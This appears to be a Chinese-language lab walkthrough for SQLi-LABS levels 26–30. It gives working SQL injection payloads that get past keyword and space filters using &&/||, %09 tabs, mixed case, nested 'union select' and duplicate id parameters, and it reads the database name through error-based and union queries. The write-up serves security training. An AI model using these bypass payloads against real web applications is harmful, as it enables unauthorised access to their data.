SQLi-LABS 26关
1.26关在进行常规测试时,发现有些字符过滤了,查看源码 发现确实如此
这些字符全被过滤了,包括and、or还有空格
所以我我们这里进行相应的替换
and:&&
or:||
2.再次进行闭合测试
?id=1' || '1'='1 回显正常
所以是'闭合
3.我们使用报错注入
当然,这里的报错语句中的字符也要进行相应的替换
使用语句:
?id=1' || updatexml(1,concat(1,database()),1) || '1'='1
SQLi-LABS 27关
1. 27关过滤了select和union,还有空格,所以我们使用相应的字符进行替代
使用大小写替换个别字母进行绕过
使用%09替换空格
查找回显点
发现只有一个1回显点,但是进行数据库名查询时,查不出来,因为过滤空格,所以不能将前面的id=1改为-1,因为,‘‘-’’会被过滤,所以只能改成一个不存在的数,还要是正的,这里改为999
?id=1'%09uNion%09seLect%091,2,3%09and%09'1'='1 //回显只有一个,且不能进行查询
?id=999'%09uNion%09seLect%091,2,3%09and%09'1'='1 //得到两个回显点,2处可以进行查询
2.使用联合查询进行数据库名查询
?id=999'%09uNion%09seLect%091,database(),3%09and%09'1'='1
SQLi-LABS 28关
1. 28关也是过滤,通过查看源代码得到其过滤的时union select整个语句,所以我们就不能正常使用联合查询语句,我们这里选择使用嵌套关键词方法,就是在union select中嵌套一个union select
具体写法就是:
ununion selection select //将union里面嵌套一个union select,这样过滤之后就还是union select
2.现在进行闭合判断
?id=1' and '1'='1 //回显成功
?id=1') and '1'='1 //尝试是否有),回显错误
?id=1') and ('1'='1 //回显正常,说明有)
所以时')闭合方式
3.进行联合查询
?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1
SQLi-LABS 29关
1.29关它说有防火墙,查看源代码(login.php)发现是需要两个参数,代码在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。
2.闭合方式测试
?id=1&id=2' and '1'='1 //回显成功
?id=1&id=2') and '1'='1 //尝试是否有),回显错误
?id=1&id=2') and ('1'='1 //回显错误,说明没有)
所以时 ' 闭合方式
3.使用联合查询进行数据库名查询
?id=1&id=-2' union select 1,database(),3 and '1'='1
SQLi-LABS 30关
1.30关和29关一样,只是闭合方式变为了双引号
?id=-1" union select 1,database(),3--+
可以和29关使用一样的方式,也可以使用最常规的联合查询,同样别的,29关也适用此方式